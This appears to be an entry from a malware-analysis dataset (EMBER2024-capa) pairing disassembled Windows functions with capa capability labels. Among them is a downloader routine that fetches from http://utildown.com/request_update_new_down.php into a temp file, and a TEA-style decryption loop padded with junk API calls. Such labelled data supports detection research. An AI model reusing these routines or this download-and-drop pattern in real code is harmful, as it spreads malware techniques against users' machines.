joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429180
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7b50f8]
mov ecx, dword [0x43515c]
sub esp, 0x47c
push ebx
push ebp
shr eax, 3
xor ebx, ebx
push esi
push edi
cmp eax, ebx
jbe 0x42937d
mov edi, ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
jmp 0x4291b6
mov edi, dword [esp + 0x1c]
xor ebx, ebx
cmp dword [0x7b50f8], 0x1c
jne 0x4291cd
lea eax, [esp + 0x3c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [edi + 4]
mov edx, dword [0x42e700]
mov eax, dword [0x42e704]
mov esi, dword [edi]
mov ebp, dword [0x42e708]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x42e70c]
mov edi, 0xc6ef3720
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x20], 0x20
jmp 0x42920a
xor ebx, ebx
mov eax, esi
mov edx, esi
shl eax, 4
shr edx, 5
add edx, dword [esp + 0x28]
add eax, ebp
lea ecx, [edi + esi]
xor eax, ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], eax
mov dword [0x7b407c], ebx
mov eax, dword [esp + 0x18]
add dword [0x7b407c], eax
mov edx, dword [0x7b407c]
mov dword [esp + 0x38], edx
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x38]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
sub dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
shl ecx, 4
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x2c]
add dword [esp + 0x10], eax
cmp dword [0x7b50f8], 0x1be
mov eax, dword [esp + 0x14]
lea ebx, [edi + eax]
jne 0x4292a4
lea edx, [esp + 0x34]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, dword [esp + 0x14]
shr eax, 5
add eax, dword [esp + 0x30]
cmp dword [0x7b50f8], 0x979
mov dword [0x7b4080], 0xff6b3619
mov dword [0x7b4084], 0xffffffff
mov dword [esp + 0x18], eax
jne 0x4292f8
mov eax, dword [esp + 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
lea ecx, [esp + 0x8c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor dword [esp + 0x10], ebx
mov eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
mov eax, dword [0x7b50f8]
sub esi, dword [esp + 0x10]
cmp eax, 0x93
je 0x42931a
add edi, 0x61c88647
dec dword [esp + 0x20]
jne 0x429208
cmp eax, 0x8d4
jne 0x429336
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov dword [edi], esi
mov dword [edi + 4], eax
cmp dword [0x7b50f8], 0x17
jne 0x42936c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea ecx, [esp + 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add edi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x1c], edi
jne 0x4291b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x47c
ret
Function at 0x40894a
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.00408969
xor dword [ebx], edx
push edi
pop ecx
add ebx, 1
add ecx, 1
cmp ebx, eax
jne fcn.0040894a
ret
Function at 0x401cf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x401d19
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401d2f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401d26
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x401d62
nop
cmp esi, ecx
jae 0x401d26
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x401d50
cmp esi, ecx
jae 0x401d26
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402330
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
push edi
call fcn.0040e413
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x402431
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x402431
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402431
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402431
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x4023b8
cmp esi, ecx
jae 0x402431
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x4023a2
cmp esi, ecx
jae 0x402431
movzx eax, word [esi]
test ax, ax
je 0x402431
mov edx, dword [ebx]
mov edi, eax
mov dword [ebp + 8], eax
mov ecx, 1
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x4023eb
push edi
mov ecx, ebx
call fcn.004028b0
mov edx, dword [ebx]
movzx eax, word [esi]
jmp 0x4023ee
mov eax, dword [ebp + 8]
movzx ecx, ax
lea eax, [esi + 2]
push ecx
push eax
push edi
push edx
call fcn.0055582e
add esp, 0x10
cmp eax, 0x50
ja case.0x40240c.1
movzx eax, byte [eax + 0x402460]
jmp dword [eax*4 + 0x402450]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x402441
mov dword [eax - 0xc], edi
xor ecx, ecx
mov eax, dword [ebx]
mov word [eax + edi*2], cx
lea eax, [ecx + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0040e5ad
push 0x80070057
call fcn.00401ca0
call fcn.0040e593
adc esp, dword [eax + eax*2]
add byte [esp], bh
inc eax
add byte [ebx + 0x24], cl
inc eax
add byte [ebx + 0x24], cl
inc eax
add byte [eax], al
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ecx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [edx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [edx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [eax]
int3
Function at 0x4026a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x40278e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40278e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40278e
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x402717
cmp esi, ecx
jae 0x40278e
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x402701
cmp esi, ecx
jae 0x40278e
movzx eax, word [esi]
test ax, ax
je 0x40278e
mov edx, dword [ebx]
mov edi, eax
mov dword [ebp + 8], eax
mov ecx, 1
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x40274a
push edi
mov ecx, ebx
call fcn.004028b0
mov edx, dword [ebx]
movzx eax, word [esi]
jmp 0x40274d
mov eax, dword [ebp + 8]
movzx ecx, ax
lea eax, [esi + 2]
push ecx
push eax
push edi
push edx
call fcn.0055582e
add esp, 0x10
cmp eax, 0x50
ja case.0x40276b.1
movzx eax, byte [eax + 0x4027bc]
jmp dword [eax*4 + 0x4027ac]
mov ecx, dword [ebx]
cmp edi, dword [ecx - 8]
jg 0x40279c
mov dword [ecx - 0xc], edi
xor edx, edx
mov ecx, dword [ebx]
lea eax, [edx + 1]
mov word [ecx + edi*2], dx
pop edi
pop esi
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
call fcn.0040e5ad
push 0x80070057
call fcn.00401ca0
call fcn.0040e593
nop
jb 0x4027d5
inc eax
add byte [edi - 0x59ffbfd9], dl
daa
inc eax
add byte [esi + 0x4027], ah
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ecx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [edx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [edx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [eax]
int3

Function at 0x402f50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.00419775
Function at 0x4057a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
push dword [ebx]
push 1
push dword [ebx + 8]
push edi
call fcn.0055ab3c
mov esi, dword [ebx + 8]
mov ecx, eax
add esp, 0x10
cmp ecx, 1
sete al
mov byte [ebp - 1], al
mov eax, esi
cdq
idiv dword [ebx + 0x18]
mov dword [ebx + 0x1c], eax
cmp ecx, 1
jne 0x405915
add dword [ebx + 0x14], esi
mov edx, 0x18
push 0xffffffffffffffff
push eax
mov eax, dword [ebx + 0x24]
push ecx
mov ecx, esp
push ecx
mov dword [ecx], eax
mov eax, esp
lea ecx, [ebx + 0x20]
mov dword [eax], str.read
call fcn.00403520
mov eax, dword [ebx + 0x1c]
add esp, 0x10
mov edx, dword [ebx + 0x18]
xor ecx, ecx
mov dword [ebp - 8], 0
mov esi, edi
mov dword [ebp - 0x10], edx
test eax, eax
je 0x4058cd
mov edi, edx
jmp 0x40582b
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0xc], eax
cmp edx, 1
jne 0x40583a
xor edx, edx
cmp byte [esi], dl
jmp 0x40583f
xor edx, edx
cmp word [esi], dx
sete dl
mov eax, edi
test edx, edx
je 0x405874
test ecx, ecx
je 0x405868
cmp esi, ecx
je 0x405868
imul edi, dword [ebp - 8]
mov eax, esi
sub eax, ecx
push eax
push ecx
sub ecx, edi
push ecx
call fcn.005528f0
mov eax, dword [ebx + 0x18]
add esp, 0xc
mov edx, dword [ebp - 8]
lea ecx, [eax + esi]
inc edx
mov dword [ebp - 8], edx
jmp 0x405877
mov edx, dword [ebp - 8]
add esi, eax
mov edi, eax
cmp dword [ebp - 0xc], 0
jne 0x405825
test ecx, ecx
je 0x40589b
cmp esi, ecx
je 0x40589b
sub esi, ecx
imul eax, edx
push esi
push ecx
sub ecx, eax
push ecx
call fcn.005528f0
add esp, 0xc
mov esi, dword [ebp - 8]
test esi, esi
je 0x4058ca
push 0xffffffffffffffff
push esi
push ecx
mov eax, esp
mov edx, 1
push ecx
lea ecx, [ebx + 0x20]
mov dword [eax], 0
mov eax, esp
mov dword [eax], str.nulls_removed
call fcn.00403520
add esp, 0x10
sub dword [ebx + 0x1c], esi
mov edi, dword [ebp + 8]
cmp dword [ebx + 0x18], 1
jle 0x405915
test byte [ebx + 4], 0x80
je 0x405915
mov ecx, dword [ebx + 0x1c]
test ecx, ecx
je 0x4058f2
movzx eax, word [edi + ecx*2 - 2]
dec ecx
rol ax, 8
mov word [edi + ecx*2], ax
test ecx, ecx
jne 0x4058e0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ecx
mov eax, esp
xor edx, edx
push ecx
lea ecx, [ebx + 0x20]
mov dword [eax], 0
mov eax, esp
mov dword [eax], str.endian_swap
call fcn.00403520
add esp, 0x10
mov al, byte [ebp - 1]
test al, al
jne 0x405926
mov ecx, ebx
call fcn.00405060
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405e60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [ebp + 8], 0
mov eax, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
imul eax, edx
mov dword [esi + 8], eax
mov eax, dword [ebp + 0xc]
test eax, eax
cmovne edi, eax
test byte [esi + 4], 0x80
je 0x405f0c
test ecx, ecx
jne 0x405ec4
mov eax, edx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040df1d
mov ecx, dword [esi + 0x1c]
mov ebx, eax
add ecx, ecx
mov dword [ebp + 8], ebx
push ecx
push edi
push ebx
call fcn.00552370
mov edx, dword [esi + 0x1c]
add esp, 0x10
mov ecx, ebx
mov edi, ebx
test edx, edx
je 0x405ee2
nop dword [eax + eax]
movzx eax, word [ecx + edx*2 - 2]
dec edx
rol ax, 8
mov word [ecx + edx*2], ax
test edx, edx
jne 0x405ed0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ecx
mov eax, esp
xor edx, edx
push ecx
mov dword [eax], 0
mov eax, esp
mov dword [eax], str.endian_swap
lea eax, [esi + 0x20]
mov ecx, eax
mov dword [ebp + 0xc], eax
call fcn.00403520
add esp, 0x10
jmp 0x405f12
lea eax, [esi + 0x20]
mov dword [ebp + 0xc], eax
push dword [esi]
push 1
push dword [esi + 8]
push edi
call fcn.0055a83b
add esp, 0x10
cmp eax, 1
mov eax, dword [ebp + 8]
sete bl
test eax, eax
je 0x405f38
push eax
call fcn.0040df18
add esp, 4
test bl, bl
je 0x405f71
mov eax, dword [esi + 8]
mov edx, 0x18
add dword [esi + 0x14], eax
push 0xffffffffffffffff
push dword [esi + 0x1c]
mov esi, dword [esi + 0x24]
push ecx
mov edi, esp
push ecx
mov ecx, dword [ebp + 0xc]
mov dword [edi], esi
mov esi, esp
mov dword [esi], str.write
call fcn.00403520
add esp, 0x10
mov al, bl
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, esi
call fcn.00405060
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret 8
Function at 0x40cbe0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x5dafd0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push edi
push 0x208
push 0
push eax
call fcn.00552e70
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00552e70
push 0x208
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00552e70
add esp, 0x24
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x414]
push eax
push 0
push 0x5bbdb8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push str.http:__utildown.com_request_update_new_down.php
lea eax, [ebp - 0x61c]
push 0x5bbdc8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
nop dword [eax + eax]
push 0
push 0
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x61c]
push eax
push 0
call ebx
test eax, eax
jns 0x40ccb4
push 0x64
call edi
inc esi
cmp esi, 0xa
jl 0x40cc90
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055065c
mov esp, ebp
pop ebp
ret 8
Function at 0x4111f9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
cmp dword [ebp + 8], esi
je 0x411238
call fcn.00421fbe
push 0xf0
push dword [ebp + 8]
mov edi, dword [eax + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x411238
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x411240
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
push esi
mov ecx, ebx
call fcn.0041aa42
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x411c60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x411cec
cmp dword [esi + 0x20], 0
je 0x411cec
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x411cec
cmp dword [ebp + 8], 0
je 0x411cec
xor edi, edi
mov ebx, edi
call fcn.00421fbe
push 0x582bd8
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 8], eax
test eax, eax
je 0x411cd0
mov ebx, dword [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 8]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x411cec
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push edi
push ebx
push esi
call fcn.004257a2
mov edi, eax
add esp, 0xc
test edi, edi
je 0x411ce8
mov ecx, esi
call fcn.00411a02
mov eax, edi
jmp 0x411cee
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x416b5d
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x572e0e
call fcn.00550e8f
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x416b83
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x416be3
call fcn.0040e23c
push eax
lea ecx, [ebp - 0x10]
call fcn.00402880
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call dword [0x5819e0]
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.0055ae33
push eax
call fcn.00401be0
add esp, 0x14
test esi, esi
je 0x416bd6
push esi
call fcn.005585e9
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401d80
mov eax, ebx
call fcn.00550e58
ret 8

Function at 0x4197cd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
call fcn.00421fbe
push 5
push dword [ebp + 8]
mov edi, dword [eax + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x419800
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
push edi
push dword [ebp + 0xc]
mov ecx, ebx
push esi
call fcn.00419813
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41e405
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x41e458
push esi
push dword [ebp + 8]
call fcn.0041e5f4
mov edi, eax
test edi, edi
je 0x41e453
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x41e453
mov eax, dword [ebp - 8]
jmp 0x41e46a
mov eax, dword [ebp + 0x10]
jmp 0x41e46a
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop edi
pop esi
leave
ret 0xc

Function at 0x41e470
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5732c5
mov eax, dword fs:[0]
push eax
mov eax, 0x2018
call fcn.00551030
mov eax, dword [0x5dafd0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ecx + 0x58], 0
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x201c], edi
mov dword [ebp - 0x2024], eax
je 0x41e5a7
push 0
push edx
call fcn.0041e5f4
mov ebx, eax
test ebx, ebx
jne 0x41e4d8
push esi
jmp 0x41e5cf
call fcn.0040e23c
push eax
lea ecx, [ebp - 0x2014]
call fcn.00402880
xor ecx, ecx
lea eax, [ebp - 0x2018]
push eax
push ecx
lea eax, [ebp - 0x2020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x2024]
mov dword [ebp - 0x2020], ecx
push ebx
mov dword [ebp - 0x2018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x201c], eax
test eax, eax
jne 0x41e566
mov eax, dword [ebp - 0x2018]
lea ecx, [ebp - 0x2014]
shr eax, 1
push eax
call fcn.00402840
lea ecx, [ebp - 0x2018]
push ecx
push eax
lea eax, [ebp - 0x2020]
push eax
push 0
push dword [ebp - 0x2024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x2014]
mov dword [ebp - 0x201c], eax
call fcn.0040b140
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x201c], 0
jne 0x41e594
mov esi, dword [ebp - 0x2014]
add esi, 0xfffffff0
push esi
call fcn.0040b320
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.00401d80
jmp 0x41e5d6
push esi
mov ecx, edi
call fcn.00402530
mov ecx, dword [ebp - 0x2014]
lea ecx, [ecx - 0x10]
jmp 0x41e58d
test esi, esi
jne 0x41e5b0
mov esi, 0x5b68a8
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x2010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x2010]
push eax
mov ecx, edi
call fcn.00402530
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055065c
leave
ret 0x10